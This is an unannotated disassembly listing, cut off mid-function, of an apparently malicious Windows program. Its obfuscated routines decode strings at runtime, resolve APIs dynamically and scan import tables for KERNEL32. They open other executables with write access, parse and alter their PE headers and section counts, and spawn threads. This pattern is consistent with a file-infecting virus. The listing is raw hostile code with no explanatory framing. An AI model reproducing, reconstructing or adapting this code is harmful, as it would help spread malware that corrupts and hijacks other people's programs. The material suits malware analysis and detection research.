; ---------------------------------------------------------------------------


loc_440954:				; CODE XREF: sub_44083E+157j
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_127]
		cmp	al, 61h
		jle	short loc_440973
		cmp	al, 7Ah
		jge	short loc_440973
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_127]
		sub	byte ptr [eax],	20h


loc_440973:				; CODE XREF: sub_44083E+122j
					; sub_44083E+126j
		inc	[ebp+var_28]


loc_440976:				; CODE XREF: sub_44083E+114j
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_127]
		mov	edx, dword_44A164
		movsx	ecx, word_44A1B4
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_440954
		mov	eax, dword_44A120
		movsx	edx, word_44A0CC
		add	eax, edx
		cmp	[ebp+eax+var_133], 4Bh
		jnz	loc_440A76
		mov	eax, dword_44A09C
		cmp	byte ptr [ebp+eax+var_12C+1], 45h
		jnz	loc_440A76
		mov	eax, dword_44A0EC
		cmp	byte ptr [ebp+eax+var_12C+3], 52h
		jnz	loc_440A76
		mov	eax, dword_44A138
		cmp	[ebp+eax+var_122], 4Ch
		jnz	loc_440A76
		mov	eax, dword_44A1F8
		cmp	[ebp+eax+var_124], 33h
		jnz	short loc_440A76
		mov	eax, dword_44A210
		add	eax, 4
		add	eax, dword_44A1A8
		cmp	[ebp+eax+var_127], 32h
		jnz	short loc_440A76
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_138], edx
		mov	eax, dword_44A204
		dec	eax
		mov	[ebp-134h], eax


loc_440A30:				; CODE XREF: sub_44083E+234j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp-134h]
		mov	edi, [esi]
		mov	eax, dword_44A198
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_440A8C
		push	edi
		call	sub_43A5C3
		pop	ecx
		cmp	dword_44A294, 0
		jnz	short loc_440A8C
		movsx	eax, word_44A130
		add	eax, dword_44A110
		sub	eax, 4
		add	[ebp-134h], eax
		jmp	short loc_440A30
; ---------------------------------------------------------------------------
		jmp	short loc_440A8C
; ---------------------------------------------------------------------------


loc_440A76:				; CODE XREF: sub_44083E+16Fj
					; sub_44083E+182j ...
		add	[ebp+var_4], 14h


loc_440A7A:				; CODE XREF: sub_44083E+B8j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_4408FB


loc_440A8C:				; CODE XREF: sub_44083E+DFj
					; sub_44083E+20Cj ...
		cmp	dword_44A294, 0
		jz	short loc_440AED
		call	sub_43A105
		call	sub_43EF62
		call	sub_4396F6
		mov	edx, eax
		mov	[ebp+var_19], dl
		movzx	eax, [ebp+var_19]
		mov	edx, dword_44A140
		add	edx, dword_44A204
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_440AED
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, dword_44A1BC
		add	eax, dword_44A0AC
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset sub_43EC0A
		mov	eax, dword_44A110
		sub	eax, 5
		push	eax
		push	0
		call	ds:dword_449B90	; CreateThread


loc_440AED:				; CODE XREF: sub_44083E+255j
					; sub_44083E+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44083E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440AF2	proc near		; CODE XREF: sub_43D058+CDp
					; sub_43D058+122p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_440B08:				; CODE XREF: sub_440AF2+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440B08
		mov	[ebp+var_4], eax
		mov	edi, dword_44A1D4
		sub	edi, 2
		jmp	short loc_440B8D
; ---------------------------------------------------------------------------


loc_440B1D:				; CODE XREF: sub_440AF2+9Ej
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_440B30
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_440B30
		cmp	al, 2Eh
		jnz	short loc_440B4F


loc_440B30:				; CODE XREF: sub_440AF2+31j
					; sub_440AF2+38j
		push	offset dword_44A878
		call	sub_43C507
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_449634
		add	esp, 10h
		jmp	short loc_440B7E
; ---------------------------------------------------------------------------


loc_440B4F:				; CODE XREF: sub_440AF2+3Cj
		push	offset byte_44A873
		call	sub_43C507
		push	eax
		push	ebx
		call	ds:dword_444020
		push	offset byte_44A86B
		call	sub_43C507
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_449634
		add	esp, 1Ch


loc_440B7E:				; CODE XREF: sub_440AF2+5Bj
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_444020
		add	esp, 8
		inc	edi


loc_440B8D:				; CODE XREF: sub_440AF2+29j
		cmp	edi, [ebp+var_4]
		jb	short loc_440B1D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440AF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440B97	proc near		; CODE XREF: sub_439B7B+188p

var_170		= byte ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43F85A
		push	offset word_44A866
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_444020
		push	offset word_44A85E
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		add	esp, 24h
		push	0
		mov	eax, dword_44A0F0
		add	eax, dword_44A158
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, dword_44A1E8
		add	eax, dword_44A0D4
		sub	eax, 7
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_440C5E
		mov	eax, dword_44A268
		sub	eax, 4
		mov	edx, [ebp+arg_0]
		mov	ecx, dword_44A288
		sub	ecx, 6
		mov	[edx+eax], cl
		jmp	short loc_440CCB
; ---------------------------------------------------------------------------


loc_440C5E:				; CODE XREF: sub_440B97+ACj
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_449B9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_170]
		push	eax
		mov	eax, dword_44A194
		add	eax, 0Bh
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_444028	; ReadFile
		mov	[ebp+var_16C], eax
		push	edi
		call	ds:dword_448654	; CloseHandle
		mov	eax, dword_44A0F8
		add	eax, dword_44A234
		sub	eax, 0Bh
		cmp	[ebp+var_16C], eax
		jnz	short loc_440CCB
		mov	eax, dword_44A1A8
		sub	eax, 2
		mov	edx, [ebp+arg_0]
		mov	ecx, dword_44A09C
		movsx	ebx, word_44A0BC
		add	ecx, ebx
		sub	ecx, 0Eh
		mov	[edx+eax], cl


loc_440CCB:				; CODE XREF: sub_440B97+C5j
					; sub_440B97+112j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440B97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440CD0	proc near		; DATA XREF: .data:off_44A354o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44BAC8
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_440CFC
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440D44
; ---------------------------------------------------------------------------


loc_440CFC:				; CODE XREF: sub_440CD0+1Aj
		push	offset dword_44BA48
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_440D1C
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440D44
; ---------------------------------------------------------------------------


loc_440D1C:				; CODE XREF: sub_440CD0+3Aj
		push	offset dword_44BA28
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_440D3C
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440D44
; ---------------------------------------------------------------------------


loc_440D3C:				; CODE XREF: sub_440CD0+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_440D44:				; CODE XREF: sub_440CD0+2Aj
					; sub_440CD0+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_440CD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_440D4B	proc near		; CODE XREF: sub_43EC0A+20p
		push	edi
		push	offset byte_44A853
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2AC, eax
		test	eax, eax
		jnz	short loc_440D7E
		push	offset dword_44A848
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2AC, eax


loc_440D7E:				; CODE XREF: sub_440D4B+1Aj
		cmp	dword_44A2AC, 0
		jz	short loc_440DA4
		push	offset word_44A832
		call	sub_43C507
		pop	ecx
		push	eax
		push	dword_44A2AC
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446604, eax


loc_440DA4:				; CODE XREF: sub_440D4B+3Aj
		pop	edi
		retn
sub_440D4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440DA6	proc near		; CODE XREF: sub_43AF47+11Bp
					; DATA XREF: sub_439B7B+CCo

var_270		= byte ptr -270h
var_26C		= dword	ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 270h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_43F85A
		push	offset byte_44A82D
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		lea	eax, [ebp+var_267]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_444020
		push	offset byte_44A825
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		add	esp, 24h
		push	0
		mov	eax, dword_44A154
		add	eax, dword_44A1F8
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, dword_44A1E8
		dec	eax
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_440E52
		mov	eax, 2Ah
		jmp	short loc_440EBD
; ---------------------------------------------------------------------------


loc_440E52:				; CODE XREF: sub_440DA6+A3j
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_203]
		push	eax
		push	edi
		call	ds:dword_444028	; ReadFile
		mov	[ebp+var_26C], eax
		push	edi
		call	ds:dword_448654	; CloseHandle
		mov	eax, dword_44A1A0
		sub	eax, 3
		cmp	[ebp+var_26C], eax
		jnz	short loc_440E92
		mov	eax, 2Ah
		jmp	short loc_440EBD
; ---------------------------------------------------------------------------


loc_440E92:				; CODE XREF: sub_440DA6+E3j
		movzx	eax, [ebp+var_203]
		movsx	edx, word_44A098
		movsx	ecx, word_44A174
		lea	edx, [edx+ecx+18h]
		cmp	eax, edx
		jge	short loc_440EB6
		mov	eax, 2Ah
		jmp	short loc_440EBD
; ---------------------------------------------------------------------------


loc_440EB6:				; CODE XREF: sub_440DA6+107j
		movzx	eax, [ebp+var_203]


loc_440EBD:				; CODE XREF: sub_440DA6+AAj
					; sub_440DA6+EAj ...
		pop	edi
		pop	esi
		leave
		retn
sub_440DA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440EC1	proc near		; DATA XREF: .data:0044A37Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44A0F4
		sub	eax, 7
		cmp	ds:dword_449BA8, eax
		jbe	short loc_440EDF
		push	offset dword_449BA8
		call	ds:dword_444010	; InterlockedDecrement


loc_440EDF:				; CODE XREF: sub_440EC1+11j
		mov	eax, ds:dword_449BA8
		pop	ebp
		retn	4
sub_440EC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440EE8	proc near		; DATA XREF: .data:0044A38Co

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_44A24C
		mov	edx, dword_44A0B4
		lea	eax, [eax+edx+0E9h]
		cmp	edi, eax
		jnz	short loc_440F1B
		push	[ebp+arg_14]
		call	sub_43858C
		pop	ecx
		xor	eax, eax
		jmp	short loc_440F41
; ---------------------------------------------------------------------------


loc_440F1B:				; CODE XREF: sub_440EE8+24j
		mov	eax, dword_44A0B4
		add	eax, 0F5h
		add	eax, dword_44A14C
		cmp	edi, eax
		jnz	short loc_440F3C
		push	[ebp+arg_14]
		call	sub_43A974
		pop	ecx
		xor	eax, eax
		jmp	short loc_440F41
; ---------------------------------------------------------------------------


loc_440F3C:				; CODE XREF: sub_440EE8+45j
		mov	eax, 80020003h


loc_440F41:				; CODE XREF: sub_440EE8+31j
					; sub_440EE8+52j
		pop	edi
		pop	ebp
		retn	24h
sub_440EE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440F46	proc near		; CODE XREF: sub_44029C+1D0p

var_32014	= byte ptr -32014h
var_32011	= byte ptr -32011h
var_32010	= dword	ptr -32010h
var_3200C	= dword	ptr -3200Ch
var_32007	= byte ptr -32007h
var_32006	= byte ptr -32006h
var_31F58	= dword	ptr -31F58h
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= byte ptr -31ED4h
var_31EC7	= byte ptr -31EC7h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32010h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC7]
		push	eax
		call	ds:dword_448638
		add	esp, 0Ch
		push	0
		mov	eax, dword_44A09C
		sub	eax, 5
		push	eax
		push	3
		push	0
		mov	eax, dword_44A234
		add	eax, dword_44A284
		sub	eax, 0Dh
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_449788	; CreateFileA
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_440FAA
		xor	eax, eax
		jmp	loc_442439
; ---------------------------------------------------------------------------


loc_440FAA:				; CODE XREF: sub_440F46+5Bj
		push	0
		push	[ebp+var_1070]
		call	ds:dword_449624	; GetFileSize
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	ds:dword_446A34	; LocalAlloc
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_444028	; ReadFile
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EDC]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_442422
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_442422
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		movsx	edx, word_44A0CC
		sub	edx, 6
		cmp	eax, edx
		jz	loc_442422
		and	[ebp+var_1180],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, dword_44A238
		add	ecx, 7
		add	ecx, dword_44A0D4
		cmp	edx, ecx
		jnz	short loc_4410A5
		mov	edx, dword_44A0C4
		inc	edx
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_4410A5
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EEC], eax
		movsx	eax, word_44A22C
		movsx	edx, word_44A0FC
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_31EEC], eax
		jnb	loc_442422
		mov	[ebp+var_1180],	1


loc_4410A5:				; CODE XREF: sub_440F46+11Bj
					; sub_440F46+12Aj
		cmp	[ebp+var_1180],	0
		jz	short loc_4410C6
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		movsx	ecx, word_44A0C0
		add	ecx, 2
		sub	edx, ecx
		mov	[eax], dx


loc_4410C6:				; CODE XREF: sub_440F46+166j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EEC], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF4], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EF0], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EF8], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31F00], edx
		mov	eax, [ebp+var_31EEC]
		mov	[ebp+var_31EFC], eax
		mov	ecx, dword_44A0B8
		movsx	edi, word_44A240
		add	ecx, edi
		dec	ecx
		mul	ecx
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_31F00]
		mov	edx, [ebp+var_31F04]
		add	eax, edx
		mov	edx, [ebp+var_31EF4]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_442422
		mov	eax, dword_44A128
		movsx	edx, word_44A1E0
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, word_44A260
		add	eax, dword_44A1B0
		sub	eax, 9
		mov	[ebp+var_C54], eax
		mov	eax, dword_44A238
		mov	[ebp+var_105C],	eax
		mov	eax, dword_44A1D8
		movsx	edx, word_44A208
		add	eax, edx
		sub	eax, 0Eh
		mov	[ebp+var_434], eax
		jmp	loc_44126B
; ---------------------------------------------------------------------------


loc_4411A9:				; CODE XREF: sub_440F46+332j
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F10]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F08], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F08], eax
		jbe	short loc_441200
		mov	eax, [ebp+var_31F08]
		mov	[ebp+var_20], eax


loc_441200:				; CODE XREF: sub_440F46+2AFj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F0C], eax
		jbe	short loc_44121A
		mov	eax, [ebp+var_31F0C]
		mov	[ebp+var_C54], eax


loc_44121A:				; CODE XREF: sub_440F46+2C6j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_441245
		cmp	eax, [ebp+var_31F08]
		jnb	short loc_441245
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_441245:				; CODE XREF: sub_440F46+2E0j
					; sub_440F46+2E8j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_441265
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_441265
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_441265:				; CODE XREF: sub_440F46+30Aj
					; sub_440F46+311j
		inc	[ebp+var_434]


loc_44126B:				; CODE XREF: sub_440F46+25Ej
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_4411A9
		mov	eax, dword_44A18C
		add	eax, 1000h
		push	eax
		push	[ebp+var_20]
		call	sub_43CC87
		add	esp, 8
		mov	[ebp+var_20], eax
		cmp	[ebp+var_1180],	0
		jz	short loc_4412A9
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_4412A9:				; CODE XREF: sub_440F46+358j
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_4412CC
		mov	eax, [ebp+var_8]
		mov	edx, dword_44A0C4
		sub	edx, 7
		cmp	[eax+0A8h], edx
		jz	loc_442422


loc_4412CC:				; CODE XREF: sub_440F46+36Cj
		mov	eax, dword_44A0F8
		sub	eax, 7
		cmp	[ebp+var_105C],	eax
		jz	loc_4413AB
		mov	eax, dword_44A280
		add	eax, dword_44A14C
		sub	eax, 0Ah
		mov	[ebp+var_31F10], eax
		mov	eax, dword_44A194
		sub	eax, 9
		mov	[ebp+var_31F08], eax
		jmp	short loc_441352
; ---------------------------------------------------------------------------


loc_441304:				; CODE XREF: sub_440F46+432j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F14], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F08]
		mov	[ebp+var_31F18], eax
		mov	eax, [ebp+var_31F14]
		mov	edx, [ebp+var_31F18]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F0C], eax
		mov	edx, [ebp+var_31F10]
		cmp	[eax+18h], edx
		jbe	short loc_44134C
		mov	eax, [eax+18h]
		mov	[ebp+var_31F10], eax


loc_44134C:				; CODE XREF: sub_440F46+3FBj
		inc	[ebp+var_31F08]


loc_441352:				; CODE XREF: sub_440F46+3BCj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F14], edx
		mov	edi, edx
		cmp	[ebp+var_31F08], edi
		jb	short loc_441304
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F10]
		call	sub_43CC87
		add	esp, 8
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_4413AB
		cmp	[ebp+var_31F10], eax
		jnz	loc_442422


loc_4413AB:				; CODE XREF: sub_440F46+394j
					; sub_440F46+457j
		and	[ebp+var_1174],	0
		mov	eax, dword_44A188
		mov	[ebp+var_438], eax
		jmp	loc_441505
; ---------------------------------------------------------------------------


loc_4413C2:				; CODE XREF: sub_440F46+5CEj
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_3200C], eax
		mov	edx, dword_44A0EC
		sub	edx, 4
		cmp	[eax], edx
		jz	loc_44151A
		mov	eax, [ebp+var_3200C]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32010], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_32007]
		push	eax
		call	ds:dword_4461F4
		add	esp, 8
		mov	eax, dword_44A0C8
		mov	[ebp+var_31F08], eax
		jmp	short loc_44144F
; ---------------------------------------------------------------------------


loc_441424:				; CODE XREF: sub_440F46+52Cj
		mov	eax, [ebp+var_31F08]
		mov	al, [ebp+eax+var_32007]
		cmp	al, 61h
		jle	short loc_441449
		cmp	al, 7Ah
		jge	short loc_441449
		mov	eax, [ebp+var_31F08]
		lea	eax, [ebp+eax+var_32007]
		sub	byte ptr [eax],	20h


loc_441449:				; CODE XREF: sub_440F46+4EDj
					; sub_440F46+4F1j
		inc	[ebp+var_31F08]


loc_44144F:				; CODE XREF: sub_440F46+4DCj
		mov	eax, [ebp+var_31F08]
		movsx	eax, [ebp+eax+var_32007]
		movsx	edx, word_44A104
		movsx	ecx, word_44A0A4
		add	edx, ecx
		sub	edx, 0Eh
		cmp	eax, edx
		jnz	short loc_441424
		movsx	eax, word_44A0FC
		movsx	edx, word_44A0B0
		add	eax, edx
		cmp	[ebp+eax+var_32014], 4Bh
		jnz	short loc_4414FE
		movsx	eax, word_44A160
		movsx	edx, word_44A27C
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_3200C+1],	45h
		jnz	short loc_4414FE
		mov	eax, dword_44A204
		cmp	[ebp+eax+var_32006], 52h
		jnz	short loc_4414FE
		mov	eax, dword_44A12C
		mov	edx, dword_44A17C
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_32010+1],	4Ch
		jnz	short loc_4414FE
		mov	edx, dword_44A1F4
		add	edx, dword_44A234
		cmp	byte ptr [ebp+edx+var_3200C+3],	33h
		jnz	short loc_4414FE
		add	eax, dword_44A158
		cmp	[ebp+eax+var_32011], 32h
		jnz	short loc_4414FE
		mov	[ebp+var_1174],	1


loc_4414FE:				; CODE XREF: sub_440F46+546j
					; sub_440F46+560j ...
		add	[ebp+var_438], 14h


loc_441505:				; CODE XREF: sub_440F46+477j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_4413C2


loc_44151A:				; CODE XREF: sub_440F46+49Cj
		cmp	[ebp+var_1174],	0
		jz	loc_442422
